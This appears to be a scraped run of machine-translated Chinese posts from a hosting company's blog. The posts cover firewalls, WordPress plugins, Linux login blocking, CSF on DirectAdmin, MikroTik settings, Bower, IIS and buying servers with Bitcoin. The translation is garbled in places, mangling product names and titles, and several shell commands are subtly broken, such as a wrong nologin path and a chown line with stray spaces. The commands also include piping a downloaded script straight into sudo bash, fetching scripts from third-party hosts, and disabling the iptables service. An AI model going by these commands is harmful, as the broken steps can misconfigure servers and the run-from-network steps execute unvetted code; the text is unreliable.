要控制带宽,只需进入简单队列中的高级选项卡。选择标记名的数据包标记部分,并应用下载和上传限制。
MikroTik 中的带宽控制:
祝您好运
初学者-老年人博客
版权所有 2019-2022 Eldernode。版权所有
RDP 政府 2019 年最佳防火墙简介[安全] - Eldernode
原文:https://blog.eldernode.com/best-firewall-for-rdp-admin-2019/
RDP 管理 2019 视窗最佳防火墙。随着互联网的普及和恶意软件的增多,人们比以往任何时候都更需要防火墙软件。事实上,防火墙是任何网络安全中最重要的部分,因为它充当了内部和外部网络之间的屏障。防火墙的主要用途是阻止黑客攻击以及木马和病毒的进入。通过打开用户计算机上的端口,特洛伊木马可以秘密地传输他们的信息,sniffer或数据包分析器可以检测计算机连接中的漏洞,并利用用户的网络。
Windows RDP 管理 2019 最佳防火墙
在本文中,我们打算介绍 RDP 管理 2019 最佳防火墙。如果您需要购买 rdp ,您还可以在 Eldernode 中查看可用的包。
尽管这些年来在反病毒和恶意软件检测方面取得了显著的进步,但是对计算机用户来说,使用防火墙软件仍然是必要的;因为不仅网络安全威胁没有停止;相反,它们变得更加现代。
虽然使用正确的防病毒软件肯定可以防止计算机上的恶意操作,但恶意软件可能会通过连接权限欺骗软件,并在网络上创建未经授权的连接。这种不安全的连接可能被滥用来从用户的计算机传输信息。这是防火墙显示其真正价值的地方;因为通过屏蔽某些连接互联网的权限,他们屏蔽了安全攻击对用户系统的渗透。
RDP 管理 2019 最佳防火墙简介
在本文的后续部分,您将更加熟悉 5 种免费且有用的防火墙,以及它们各自的性能和优缺点。请继续关注我们的这篇文章。
1。Commodo 防火墙
防火墙包括虚拟互联网浏览器、广告拦截器、自定义 DNS 服务器、游戏模式和虚拟信息亭,允许用户在进入或退出网络时轻松阻止任何进程或应用程序。这个软件的一个很好的特点是用户可以很容易地将任何程序添加到允许或禁止的程序列表中。此外,Comodo Firewall 通过搜索应用程序的名称,而不是花费数小时与其他智能应用程序识别端口等。当然,如果你需要,这种防火墙也将允许用户使用特殊和高级设置。
Comodo Firewall 还有另一个功能,叫做等级扫描,允许你扫描系统中的所有进程,并检查每个进程的可靠性。当您怀疑系统中有恶意软件时,此功能尤其有用。这款防火墙的另一个高级功能是一个名为 Comodo KillSwitch 的部分,它显示了所有正在运行的程序的列表,用户可以轻松阻止或限制任何他们不需要的程序,并通过该窗口监控所有正在运行的软件和服务。
优势
–产品价格合理,并针对网络安全领域不专业的人进行了简化。
–兼容安全的 Comodo Dragon 浏览器。
缺点
–自动沙盒系统默认禁用。
–易受恶意代码攻击。
2。TinyWall
与其他防火墙软件不同,TinyWal 保护用户的计算机,而不会显示成千上万的通知和查询。该防火墙包括一个扫描程序,在扫描计算机后,将安全程序移动到安全程序列表中。此外,用户可以手动、永久或临时启用进程、服务或文件的防火墙设置。
此外,该防火墙中还提供了一个名为“自动学习的模式。在这种情况下,用户学习如何允许应用程序访问网络。因此,它会识别此模式下的程序,并在退出自动学习模式后立即将所有这些程序移到安全程序列表中。
此外,名为 Connections Display 的应用程序会显示所有连接到互联网的活动进程和端口。与在线防病毒软件一样,用户可以通过右键单击任何连接来立即限制该进程或隔离全部病毒。这种防火墙可以检测和阻止病毒和补贴蠕虫的已知隐藏位置,并保护 Windows 防火墙不被更改。
该防火墙的其他用途包括保护密码和主机文件免受不必要的更改。
优势
–在这款软件中,没有其他防火墙常见的恼人问题。
–使用自动学习功能,您可以轻松地从阻止程序列表中排除您想要的程序。
缺点
–易受恶意代码攻击。
–需要互联网连接才能使用的应用程序必须从防火墙设置中排除。
3。玻璃丝
这个防火墙有一个非常简单的用户界面,所有程序都运行良好。顶部窗口是一个名为 Graph 的程序,允许用户查看连接到网络的所有程序以及它们消耗的流量类型。在 GlassWire 中,还可以查看连接程序的时刻和过去一个月的连接历史,用户可以观察和查看每个程序第一次连接到网络的情况。在另一个名为防火墙的窗口中,它实际上列出了所有正在运行和正在运行的程序,用户确切地知道每个程序连接到哪个主机。如果它想要阻止该应用程序,单击左侧的图标,该应用程序将立即永久断开互联网连接。
“使用情况”窗口显示数据使用量的确切详细信息,换句话说,就是每个应用程序每天、每周和每月的传入和传出互联网流量。此外,它可以查看所有节目的消费在一起或过滤特定的节目以及流量消费的类型(如 HTTPS 或 mDNS 或 DHCP)。
遗憾的是,免费版的 GlassWire 防火墙没有启用网络窗口;但用户可以通过购买软件来管理所有连接到网络的设备,如果有新设备连接到网络,防火墙会检测并警告它。
警报部分实际上是 GlassWire 防火墙提供给用户的所有警报的收集中心。例如,关于特定应用程序何时以及通过哪个主机首次连接到网络的警告。通过选择软件菜单中的匿名选项,用户可以阻止将所有流量分配给特定应用程序或返回正常模式设置,并通过选择暂停选项,在 24 小时内禁用所有通知。也可以在启动系统时启用防火墙,或者启用和禁用一些通知,如超频带宽警报和代理设置或 DNS 服务器的更改以及 ARP 欺骗警报。
优势
–用软件工作非常简单。
–一键即可屏蔽一个程序。
缺点
–不幸的是,并不是防火墙的所有部分都是免费的。
–不可能同时阻止所有程序。
–无法进行高级定制,例如设置阻塞端口的规则。
4。ZoneAlarm Free 防火墙
此防火墙是防病毒软件的初始版本,ZoneAlarm 防火墙已从其防病毒程序中删除。当然,如果用户愿意,他可以在以后添加杀毒程序。安装软件时,用户有两种选择,自动学习和最高安全。第一个选项根据用户的表现应用所需的改变;但是第二个选项允许用户手动控制应用程序的设置或所有设置。
该防火墙可以防止对主机文件的任何恶意更改。通过进入游戏模式部分,用户可以自动管理所有通知,以便不必要的通知不会打扰系统。它还可以防止对密码设置的未经授权的更改,甚至可以向用户的电子邮件发送安全状态报告。用户可以使用 ZoneAlarm 防火墙幻灯片设置轻松定义所有公共或私有网络的安全设置。此外,允许用户在三个非防火墙、中等保护和高安全性选项之间进行选择,在高安全性模式下,这些选项不连接到任何网络,可用于某些目的,如禁止文件共享或打印机。
注意: 安装时,选择自定义安装选项,这样就不会安装除 ZoneAlarm Free Firewall 之外的其他程序。
优势
–这款防火墙为用户提供了高达 5gb 的免费云存储空间。
–它可以很好地兼容许多其他安全软件。
缺点
–在严格保护模式下,所有应用程序都受到保护,甚至是安全软件。
–易受恶意代码攻击。
5。PeerBlock
这款防火墙与其他防火墙有着本质的区别;因为它不是阻止应用程序,而是阻止所有具有特定属性的 IP 地址。该过程显示防火墙用来阻止用户访问入站和出站连接的所有 IP地址的列表。
换句话说,任何列出的不能访问用户计算机的地址都不能通过这些地址连接到网络。例如,您可以在该防火墙中创建一个预建列表来阻止各种 IP 地址,如 P2P、商业和培训 ISP、广告或间谍软件。甚至可以屏蔽所有国家和组织。
用户可以在该软件中创建一个自定义地址列表,或者使用 I-BlockList 部分提供的免费目录。用户创建并添加到 PeerBlock 防火墙的列表会定期自动更新,不会受到干扰。
优势
–这个防火墙可以通过一个按钮轻松打开或关闭。
–阻止网站上的大多数广告和弹出窗口。
缺点
–无售后服务和更新。
–用户需要基本的 IT 知识来初始激活防火墙。
结论
防火墙是阻止对计算机的访问并控制网络通信的软件或硬件。防火墙实际上是一种安全工具,可以是软件程序,也可以是专用的网络设备。由于防火墙的重要性,我们试图在本文中为 2019 年 RDP 管理员展示 5 款优秀的防火墙。
最佳倒计时插件
原文:https://blog.eldernode.com/best-wordpress-countdown-plugins/
介绍最好的 WordPress 倒计时插件,偶尔你可能想在你的网站上给用户制造兴奋感,并把用户的意见集中在一个特定的主题上。你可以用多种方法做到这一点。其中一个方法是在网站上放一个倒计时插件。在 WordPress 中有许多插件可以在很短的时间内完成这项工作。
倒计时插件有很多,但问题是用哪个,哪个才是我们最好的选择?今天我们将向你介绍一些最好的和最有用的倒计时插件,并告诉你它们的要点和功能,所以加入我们吧。
WordPress 倒计时插件
请注意,我们在这篇文章中介绍的所有插件都是完全免费的,你可以通过你的 WordPress 网站或你的 WordPress 知识库轻松下载并激活它们。
倒计时计时器终极
我们想为你回顾的第一个插件是倒数计时终极版,到目前为止已经有超过 20,000 个活跃安装。这个插件的界面非常简单,甚至初学者也可以在自己的网站上轻松使用。
倒计时
倒计时也是一个固定的倒计时定时器,让你在尽可能短的时间内建立一个定时器,使用这个插件很容易操作,你不会面临任何困难。这个插件有几个预先设计的风格,如圈数,时钟或翻页很快等。,您可以自定义并在您的站点上使用它。
长青倒计时器
这个插件与我们已经介绍过的其他插件有一个主要的不同,它是常青树。如上所述,在这个插件的帮助下,你可以向特定的观众显示倒计时。当然,这并不意味着你不能有一个常规计时器,因为常青树倒计时器也可以创建一个常规计时器。
成为老人..
Be Eldernode..
介绍比特币和 Altcoin 钱包插件- Eldernode
原文:https://blog.eldernode.com/bitcoin-and-altcoin-wallets-plugin/
如果你正在为数字货币市场建立一个网站,你肯定需要选择 WordPress 数字货币插件。也许一个插件就足够了,或者你可能需要两个甚至三个插件。虽然一些数字货币的 WordPress 模板有许多适合数字货币的特性,但是其他的可能需要其他插件。在本文中,我们将向您介绍比特币和 Altcoin 钱包插件。如果需要购买比特币 VPS 服务器,还可以在 Eldernode 中看到可用的包。
数字货币简介
随着对数字货币的需求不断增加,不仅每个人都在谈论 BTC 和 Altcoin,而且许多网站都在向接受数字货币支付的方向发展。除了通常的模板和插件,数字货币模板和插件也在不断扩展,以满足大量用户的需求。
总之,创建一个虚拟货币行业的网站比你想象的要容易。有了这些工具,你的商业想法将在最短的时间内实现。有了比特币和 Altcoin 钱包插件,你可以轻松拥有一个独特的数字货币网站,探索在线世界。你可以利用这个神奇的比特币和数字货币插件,创建伟大的 WordPress 网站。
推出比特币和 Altcoin 钱包插件
比特币和替代币钱包是一个免费的插件,允许你买卖比特币、替代币和其他数字货币。比特币和替代币钱包是一个免费的 WordPress 插件,允许你买卖比特币、替代币和其他数字货币。有了这个插件,你要为你的用户账户负责,dashed-slug.net 不承担这方面的任何责任。这个插件有很高的安全性,但是它的完全安全性取决于你的站点的安全性。因此,作为站点管理员,你必须采取所有必要的措施来保护你的 WordPress 站点。
比特币和 Altcoin 钱包插件有什么特点?
比特币和 Altcoin 钱包插件的重要功能包括:
1。编码简单。使用短代码,您可以显示前端用户界面,并允许用户执行以下操作:
–查看交易历史
–转到外部区块链地址
–向其他用户转账的能力
–来自 Blackchin 的存款
2。允许事务的备份和恢复。
3。允许您配置电子邮件。
4。可以通过管理界面确认交易。
5。访问拥有钱包的用户的功能以及他们所做的事情。
6。通过管理可以对用户进行计费。
7 .。允许您通过 PHP 编程接口进行交易。
8。它具有可扩展的架构,因此可以安装一个适配器硬币来使用其他数字货币。
你可以通过访问比特币和比特币钱包插件下载链接,在你的 WordPress 网站上轻松使用这个插件。
结论
加密货币的用户需要各种插件来增加隐私,在浏览器中进行数字货币支付,并查看这些货币在市场上的价格。与您的财务问题相关的数字货币插件。所以在安装这样的插件之前,最好做好必要的安全措施。这个领域最安全的插件之一就是比特币和 Altcoin 钱包。在这篇文章中,我们试图向您简要介绍 BTC 和 Altcoin 钱包插件的功能。
如何在 Linux - Eldernode 中阻止或禁用普通用户登录
原文:https://blog.eldernode.com/block-disable-user-logins-linux/
一个 Linux 系统管理员需要知道一些 Linux 技巧。在本文中,您将学习如何在 Linux 中阻止或禁用普通用户登录。您可能会遇到问题,并执行计划的系统维护。在这里,您可以防止非 root(普通)用户连接到系统。所以跟着这个教程来复习一下 Linux 中的 /etc/nologin 文件和 nologin shell 阻止非 root 用户的功能。此外,您需要知道应该设置什么消息来帮助用户了解实际发生了什么。
您可能会感兴趣:
在 Ubuntu 20.04 中通过 SSH 启用 Root 登录
如何在 Linux 中阻止或禁用普通用户登录
让我们来看一下您可以在 Linux 服务器上阻止或禁用用户无法登录的方法。
如何使用/etc/nologin 文件阻止用户登录
显示消息是 /etc/nologin 文件的主要功能,用于关机过程中试图登录系统的用户。每当用户查看此消息时,他们将无法登录系统。因此,要通过手动创建来阻止用户登录,请使用下面的命令。
vi /etc/nologin
如果要向试图登录系统的用户显示,可以将下面的消息添加到文件中。
The Server is down for a routine maintenance. We apologize for any inconvenience caused, the system will be up and running in 1 hours time. For more information, contact the system admin **[[email protected]](/cdn-cgi/l/email-protection)**.
如何使用 nologin Shell 阻止用户登录
因为这种方法只阻止一个用户访问 shell,所以它的工作方式略有不同。该功能的方式是用户可以通过诸如 ftp 之类的程序登录到系统,这些程序不一定要求用户使用外壳来连接到系统。这种方法的另一个特性是,您可以允许在特殊情况下阻止特定用户访问 shell。
上 RHEL/CentOS/Fedora
此时,您看到您可以将 /etc/passwd 文件中的用户 shell 从/ bin/bash 或 /bin/sh 更改为/sbin /nologin,意思是拒绝登录,使用chsh(change shell)命令。
chsh -s /bin/nologin noodi
在 Debian/Ubuntu 上
以下命令的作用是将用户 eldernode 的 shell 更改为 /bin/false ,表示不做任何事情。
sudo chsh -s /bin/false noodi
如果你需要更多的阅读,请跟随 Linux 窍门 。
亲爱的用户,我们希望你喜欢这个教程,你可以在评论区提出关于这个培训的问题,或者解决 Eldernode 培训领域的其他问题,请参考 提问页面 部分并在其中提出你的问题。
如何在 DirectAdmin | Eldernode 上用 CSF 屏蔽暴力破解 IP
原文:https://blog.eldernode.com/block-ip-of-brute-force-by-csf/
在本文中,我们将在 Linux VPS 服务器和专用 Linux 服务器上,通过 DirectAdmin 自动教程拦截暴力破解 IP。
在 DirectAdmin 上通过 CSF 阻止暴力 IP 的教程
对于 CFS 的暴力自动 IP 拦截,执行以下步骤:
1。首先转到下面的路径:
cd /usr/local/directadmin/scripts/custom/
2。开始之前,按照以下说明备份 block_ip.sh 和 unblock_ip.sh 文件:
cp block_ip.sh block_ip.sh.bak cp unblock_ip.sh unblock_ip.sh.bak
上述文件可能不存在于“usr/local/direct admin/scripts/custom”路径中,在这种情况下,您会遇到以下错误。显示错误不会在过程的继续中引起任何问题。
cp: cannot stat `block_ip.sh': No such file or directory cp: cannot stat `unblock_ip.sh': No such file or directory
3。使用以下命令下载适当的版本:
cd /usr/local/directadmin/scripts/custom/ wget -O block_ip.sh http://files.plugins-da.net/dl/csf_block_ip.sh.txt wget -O unblock_ip.sh http://files.plugins-da.net/dl/csf_unblock_ip.sh.txt wget -O show_blocked_ips.sh http://files.plugins-da.net/dl/csf_show_blocked_ips.sh.txt chmod 700 block_ip.sh show_blocked_ips.sh unblock_ip.sh
4。使用以下命令在根路径中创建名为 blocked_ips 和 exempt_ips 的文件:
touch /root/blocked_ips.txt touch /root/exempt_ips.txt
到目前为止,IP 没有被 CSF 自动阻止,只有一个按钮在暴力监视器中为管理员创建,以阻止所需的 IP。为了让 IPs 自动拦截,您需要安装以下脚本,并遵循以下步骤。
5。进行自动 IP 拦截并运行以下命令:
cd /usr/local/directadmin/scripts/custom wget -O brute_force_notice_ip.sh http://files.directadmin.com/services/all/brute_force_notice_ip.sh chmod 700 brute_force_notice_ip.sh
6。为了不使用 CSF 覆盖 iptables 的角色和作用,在服务器上借助以下命令关闭该服务的执行。
chkconfig iptables off chkconfig ip6tables off mv /etc/init.d/iptables /etc/init.d/iptables~moved echo -e '#!/bin/bash\nexit 0;' > /etc/init.d/iptables chmod 755 /etc/init.d/iptables chkconfig iptables on chkconfig ip6tables on service iptables start
7 .。完成后,确保 IP 被正确阻止。尝试以下命令:
csf –g IP
如有疑问或问题,可向提问系统咨询,提供指导。
如何阻止 MikroTik - Eldernode 博客上的邻居发现
原文:https://blog.eldernode.com/block-neighbor-discovery-on-mikrotik/
在为 Mikrotik 使用 Winbox 时,您会发现邻居是它的功能之一。Mikro tikNeighborDis coveryProtocol(MNDP)负责探索 Mikrotik,帮助你在网络中轻松找到你的 Mikrotik。加入我们这篇文章,看看为什么你需要阻止它和如何!为了让本指南更好地发挥作用,请购买您自己的 Mikrotik VPS 服务器服务。一旦你准备好了你的简历,我们的团队就可以回答你的问题。您还可以在 Mikrotik 教程页面上获得所有基本指南。
如何在 MikroTik 上阻止邻居发现
邻居发现用户面临的主要挑战是,当他们在互联网上有一个 Mikrotik 时,这意味着每个人都能够通过邻居发现访问它。正如你所猜测的,这似乎有点可怕,因为你的 Mac 地址和 Mikrotik 信息很容易被黑客窃取。
解决办法是什么?
很明显,您需要禁用该协议,以防止您的 Mikrotik 通过 Winbox 被发现,并且邻居发现部分只能通过输入您的 IP 地址来连接它。
在 Mikrotik 上阻止邻居发现的方法
有两种方法可以在您的 Mikrotik 上阻止邻居发现。
1) 通过 WinBox 阻止邻居发现
2) 通过 Mikrotik 终端阻止邻居发现
让我们看看您应该如何使用这些解决方案,以及它们是如何工作的。
阻止通过 WinBox 发现邻居
在本部分中,您将了解 Mikrotik 上阻止邻居发现的第一种方法。让我们回顾一下完整学习所需的以下步骤。
首先,你应该通过 Winbox 连接到你的 mikrocontroller 来阻止 MNDP。
2) 从 IP 菜单中点击邻居。
3) 现在,转到“发现接口”选项卡。
4) 在最新的步骤中,您可以选择任何一个您想要禁用 MNDP 协议的接口,方法是单击如下所示的禁用图标。
注意:如果你想永久禁用 MNDP 协议,你应该禁用所有可用的接口。
闭塞(ND)通过端子
现在,让我们回顾一下 Mikrotik 上阻止邻居发现的第二种方法是什么。再次注意下面的路径。
步骤 1 :打开 Mikrotik 终端,输入以下命令:
ip neighbor discovery set ether1 discover=no
注意:用 ether1 替换你的接口名
步骤 2 :要检查接口发现的状态,请键入:
ip neighbor discovery print
就是这样!邻居发现现已被阻止!
结论
在本文中,您了解了如何在 MikroTik 服务器上阻止邻居发现。使用上述方法有助于禁用 MNDP 协议。您可以确保您的微控制器不再能够发现其他相邻的微控制器。另外请注意,一旦阻止邻居发现,您将无法再访问其他设备。
教程拦截 MikroTik 路由器上的静态 IP 用户
原文:https://blog.eldernode.com/block-static-ip-users-on-mikrotik-routers/
MikroTik 是一个基于 Linux 内核的服务器,您可以在普通计算机上以完全稳定的方式安装和维护它。MikroTik 拥有完善的防火墙系统来增加其网络的安全性。一般来说,它是任何 MikroTik RouterOS 最重要的部分之一,允许您设置网络和 IP 的访问。如果需要屏蔽静态 IP 用户,可以使用 MikroTik RouterOS 的防火墙系统。本文将教你如何在 MikroTik 路由器上拦截静态 IP 用户。如果你打算购买一台 Mikrotik VPS 服务器,你可以查看一下 Eldernode 网站上提供的套装。
如何在 MikroTik 路由器上拦截静态 IP 用户
什么是静态 IP?
网络管理员应该建立网络安全。开始这个过程最简单也是最重要的一步是阻止静态 IP 用户。Mikrotik 拥有强大的防火墙,可帮助您阻止 IP 用户。这样做的原因是防止用户绕过您的队列。不能更改使用静态 IP 地址的设备。不能更改使用静态 IP 地址的设备。但是大多数设备使用动态 IP 地址,这些地址是在连接时由网络分配给它们的,并且会随着时间而变化。
拦截 MikroTik 路由器上的静态 IP 用户
首先,进入 Winbox 双击你的 IP,选择 DHCP 服务器。然后,您应该选中为租赁添加 ARP 的框:
现在你所要做的就是回到 Winbox 并导航到界面部分。双击运行 DHCP 服务器的接口。它可以是一座桥,也可以是一座 VLAN。最后,在 ARP 部分的下拉菜单中,选择仅回复并点击应用:
以上就是关于在 Mikrotik 路由器上拦截静态 IP 用户的全部内容!
结论
为了确保网络安全,网络管理员应该阻止用户使用静态 IP 地址。在本文中,我们教您如何在 Mikrotik 路由器上拦截静态 IP 用户。我希望这篇教程对你有用,并且能帮助你阻止使用静态 IP 地址的用户。如果您有任何问题或建议,可以在评论区联系我们。
博客-老年节点学习中心
老年节点学习中心
世界上的每个人都可以利用 Eldernode 学习中心,阅读每一篇 Eldernode 博客文章来增长知识。为了发展和提高其服务质量,Eldernode 发布了这些文章,并免费提供给所有人。所有内容都是在专家的监督下制作的,并尝试分为初级和高级两个级别的简单语言。
运行 android 应用的 blue stack VPS-elder node 博客
原文:https://blog.eldernode.com/bluestack-vps-for-running-android-apps/
如何购买 Bluestack VPS 用于运行 android 应用,blue stack VPS 服务器 是为需要 VPS 服务器与 Android 模拟器一起工作的用户准备的。您可以查看 Eldernode 中提供的包来购买 Bluestack VPS 服务器。
为什么要买 Bluestack VPS 来运行 android 应用?
通过购买 BlueStacks VPS 服务器 你可以很容易地运行非常高速 VPS 的 BlueStacks Android 模拟器软件。
运行 Bluestacks 所需的配置:
该 Bluestack 服务的最低系统要求是 2 GB 内存的 Windows VPS 2012 R2。
您可以从以下地址订购 Bluestack VPS:
如何在 ubuntu 20 ubuntu 18 - Eldernode 上配置 Bower
一步步学习如何在 ubuntu 20 ubuntu 18 Linux 上配置 Bower。由于 web 的不断增长和编程的不断发展,人们越来越需要工具来自动安装、更新和管理项目中使用的库和外围设备。Bower 是用来帮助解决这个问题的工具之一。Bower 是客户端技术的包管理器。它也有能力安装,搜索和删除 Javascript,HTML,CSS 库。在这篇文章中,我们试图教你如何在 ubuntu 20 ubuntu 18 上配置 Bower。你可以在 Eldernode 看到可以购买 Ubuntu VPS 服务器的包。
凉亭有什么好处?
1。用一个命令行安装工具和库!
2。使用 Bower 在尽可能短的时间内跟踪不同站点上的库版本并检查是否有更新,而不是这样。
3。离线安装:当第一次安装一个库时,它将被缓存,下一次它将使用缓存安装相同的库,当然还有相同的版本,除非用户已经显式清空缓存。
4。安装依赖库:如果一个库依赖于其他库(比如 jQuery 上的 Twitter Bootstrap 依赖),依赖项会自动安装。
在安装 Bower 之前,必须在系统上安装 Nodejs 和 Git 工具。
如何安装节点。JS on Ubuntu20&Ubuntu 18
在安装 Bower 之前,必须先安装 Node.JS. Install Node。使用以下命令在 Ubuntu 20 或 18 上运行 JS:
sudo apt-get install python-software-properties curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - sudo apt-get install nodejs
检查节点。JS 和 NPM 版本使用以下命令来确保它们被正确安装:
node --version
npm --version
如何在 ubuntu 20 上安装 Bower Ubuntu 18
在 Ubuntu 上成功安装 node.js 和 npm 之后,现在可以使用以下命令安装 Bower 了:
sudo npm install -g bower
执行上述命令后,Bower 将成功安装在您的 Ubuntu 系统上。您可以使用以下命令找到 Bower 版本:
bower --version 1.8.8
教程在 ubuntu 20 ubuntu 18 上配置 Bower
最后,您可以使用以下命令修改目录配置权限:
sudo chown -R $ (whoami): $ (whoami) ~ / .config
您可以使用以下命令来了解关于 Bower 的更多信息:
用法:
鲍尔[] []
命令:
缓存管理 bower 缓存
帮助显示关于鲍尔的帮助信息
主页在您最喜欢的浏览器中打开软件包主页
特定包的信息信息
init 交互创建一个 bower.json 文件
安装在本地安装软件包
链接符号链接一个包文件夹
列出本地软件包和可能的更新
使用 GitHub 进行登录验证并存储凭证
按名称查找单个包的 URL
清理会删除本地无关包
挂号邮寄包裹
搜索按名称搜索包
更新更新本地包
卸载删除本地软件包
取消注册从注册表中删除软件包
版本碰撞包版本
选项:
-f,–force 使各种命令更加有力
-j,–json 输出可消耗 JSON
-l,–log level 报告什么级别的日志
-o,–脱机时不要访问网络
-q,–quiet 仅输出重要信息
-s,–silent 不输出任何内容,除了错误
-V,–verbose 使输出更加详细
–allow-root 允许以 root 用户身份运行命令
-v,–版本输出 Bower 版本
–无色禁用颜色
有关特定命令的更多信息,请参见 bower help 。
结论
Bower 是一个客户端管理工具,使用它,您可以通过一个简短的命令轻松地在您的项目上安装各种 HTML、CSS、Javascript 库或任何框架。在 Bower 中,您可以使用任何带有简短命令行的工具。您可以轻松地升级使用此软件包管理器添加的工具或升级到更高版本。安装完库和其他工具后,下次就不需要互联网连接了。Bower 执行缓存步骤,你可以让你想要的库离线。在本文中,我们试图教你如何在 Ubuntu 18 和 20 上安装和配置 Bower。
如何在 Windows VPS 上的 IIS 上建立站点- Eldernode 博客
原文:https://blog.eldernode.com/build-site-on-iis-on-windows-vps/
网络管理员的任务不是设计和构建,而是网站管理和如何可用。每个网站都由文件组成,这些文件被设计为传送给安装了 IIS 的服务器。所以在收到文件后,你需要把它们放在你的网络驱动器上。将文件复制到 web 服务器的驱动器后,您可以进行以下培训。在这篇文章中,我们打算教你如何在 Windows VPS 上的 IIS 上构建站点。你可以从 Eldernode 中可用的包中访问 Windows VPS 服务器。
教程在 IIS 上构建站点在 Windows VPS 上
IIS 简介
IIS 代表互联网信息服务。Microsoft Web 服务器安装在 Windows 操作系统上。安装这个 web 服务器后,包括 HTTP 和 HTTPS (web 显示协议)FTP 和 FTPS(文件传输协议)等 Web 协议,以及 SMTP,使用 ASP Classis、ASP.NET 和 PHP 等服务器端编程语言,可以让用户使用 MS SQL 和 MySQL 等数据库以及许多其他功能。
安装此 web 服务器后,Microsoft 编程协议和语言(ASP.NET)等一些功能将成为默认程序。需要注意的是,数据库、PHP 编程语言等功能要在安装 webserver 之后再安装在上面。
继续和我们一起教你如何一步一步地在 windows VPS 上的 IIS 上创建一个网站。
如何在 Windows VPS 上的 IIS 上创建网站
在这一节中,我们想一步一步地教你如何在 Windows VPS 上的 IIS 上构建一个站点。为此,只需遵循以下步骤。
第一步是登录到 Windows VPS 服务器。所以在你的窗口,从开始菜单,搜索远程桌面连接然后打开。在打开的窗口中,输入服务器的 IP 并点击连接。您将看到您成功地进入了服务器环境。
第一步是通过在搜索栏中键入“ IIS ”来打开互联网信息服务 (IIS)。
然后你必须右击目录列表中的站点,然后选择添加网站。
现在,在打开的窗口中,您必须首先在站点名称字段中添加网站名称。
在物理路径字段,您必须为您的网站文件指定一个目录。
在绑定部分,您必须选择类型 (HTTP 或 HTTPS)、 IP 地址、端口、和主机名,如下图所示。
建立或不建立网站时要考虑的重要事情。请注意,如果您想立即启动网站,您必须选择立即启动网站复选框。否则,取消选中它。
最后,点击 Ok ,网站建设过程完成。
成功完成上述所有步骤后,在添加网站窗口关闭后,您将在网站列表中看到您的新网站。
如何添加网站别名
在上一节学习了如何在 Windows VPS 上的 IIS 上创建一个网站之后,我们现在想教你如何绑定。如果您想添加网站别名,如“www.eldernode.com”,您可以选择您的网站,然后点击右栏中的绑定,如下所示。
在打开的窗口中,点击添加打开站点绑定框。
正如您在主机名字段中看到的,您可以输入您的站点别名,如 demo.eldernode.com 和等等。最后,点击确定。
结论
对于访问网站的用户来说,网站必须托管在某种 web 服务器上。如果要使用 ASP.NET 创建网站或 web 应用程序,您可能需要在本地设备上安装 Internet 信息服务(IIS)以进行开发和测试。在本文中,我们试图在介绍 IIS 之后,一步一步地教你如何在 Windows VPS 上构建一个基于 IIS 的站点。
打嗝套件教程- ElderNode 博客
版权所有 2019-2022 Eldernode。版权所有
如何用比特币购买美国专用服务器
原文:https://blog.eldernode.com/buy-a-usa-dedicated-server-with-bitcoin/
选择最佳类型的托管服务是网站所有者在推出新网站时面临的首要和最重要的决定之一。尽管有许多选择最佳主机类型的选项,但没有一个选项能够像专用服务器一样为用户提供各种性能和高级别的控制。本文将教你如何用比特币购买美国专用服务器。我们提供便宜的美国专用服务器,你可以用比特币购买,是你的最佳选择。
用比特币购买美国专用服务器的几个步骤
专用服务器是一种计算机硬件,也是一种互联网托管,客户租用整个服务器,不与任何其他人共享。专用服务器上的所有资源,包括网络带宽和内存,都可供该组织的网站和相关应用程序使用。美国专用服务器位于美国顶级数据中心,包括纽约市、达拉斯、布法罗和洛杉矶。此外,美国的所有数据中心都有强大的电源备份系统,可以永远满足您专用服务器的需求。
美国专用服务器优势是什么?
让我们看看美国专用服务器的优势:
–专用资源和知识产权
–能够定制硬盘
–VNC 入口
–强大的备份系统
–99.9%的正常运行时间
–最高质量的基础设施
–不同的操作系统
–非常合理的成本
–DDoS 保护
–全天候专门支持
–7 天退款保证
用比特币购买美国专用服务器
如果你的网站有很多访问者,或者公司或组织的网站的安全性非常敏感,你可以选择美国专用服务器。这些服务器适合那些出于各种原因应该拥有美国 IP 才能开展业务的人。
首先,导航到 Eldernode 官网,从页面顶部选择专用服务器:
在打开的页面上,向下滚动并从专用服务器位置中选择美国:
正如你所看到的,我们提供了各种美国专用服务器计划,请仔细检查。选择适合您需求的计划,然后按命令。我更倾向于选择第二个选项:
您将查看购物车页面,该页面允许您选择计费周期和可配置选项,并填写选项以配置您的服务器。我们提供每月、每季度、每半年和每年的计费周期付款。在配置服务器部分,填写与主机名、根密码和 NS 前缀相关的字段。
可配置选项部分允许您注册操作系统、附加 IP 和一次性安全配置。因此,配置您想要的选项并点击继续:
再次查看所选项目,并按下结账:
如果您在我们的网站上有帐户,请点击已经注册的。但如果没有,您需要在我们的网站上注册。所以只要输入你的个人信息,选择你想要的支付方式,点击完成订单。
我有一个帐户,所以我选择已经注册了:
点击完成订单以完成结账流程:
现在从选择硬币区选择比特币并按下完成结账:
最后,扫描条形码以完成支付方式:
就是这样!
结论
美国专用服务器位于该国顶级数据中心。在这篇文章中,我们教你如何用比特币购买美国专用服务器。我希望这篇教程对你有用,并帮助你用比特币购买美国专用服务器。如果您在购买美国专用服务器的过程中遇到问题,您可以在实时聊天或门票部分与我们联系。
USA dedicated servers are located in the top data centers in the country. In this article, we taught you how to buy USA dedicated server with Bitcoin. I hope this tutorial was useful for you and helps you to purchase a USA dedicated server with Bitcoin. If you encounter a problem in the process of purchasing a USA dedicated server, you can contact us in the Live Chat or Tickets section.
如何用比特币购买专用服务器(BTC 服务器)| Eldernode
原文:https://blog.eldernode.com/buy-dedicated-server-with-bitcoin/
在主机领域, 专用服务器 是指拥有特定硬件资源(RAM、CPU、HDD 等)的计算机。)使用数据中心服务,如 DC 电力、足够的带宽、冷却系统和专用 IP。也可以通过内部网或互联网进行远程通信。这种类型服务的用户可以从任何地方与他的服务器进行远程通信。还可以轻松地安装所需的操作系统和软件,并实现必要的设置,而不受提供商公司的任何限制。在这些服务中,硬件资源是完全专用的,用户可以自由使用。在这篇文章中,我们打算让你充分了解专用服务器,以及如何在 Eldernode 中用比特币购买专用服务器。
如何用比特币购买专用服务器(BTC)
如果你正计划推出自己的网站,你想买一个专用服务器,你需要知道有几个不同的主机服务选项摆在你面前。有时选择正确的选项是困难的。在本文中,我们将解释什么是专用服务器,以及它如何对您的企业有用。通过提高网站或应用程序的速度和质量,你将吸引更多的用户使用你的内容和服务。
什么是专用服务器?
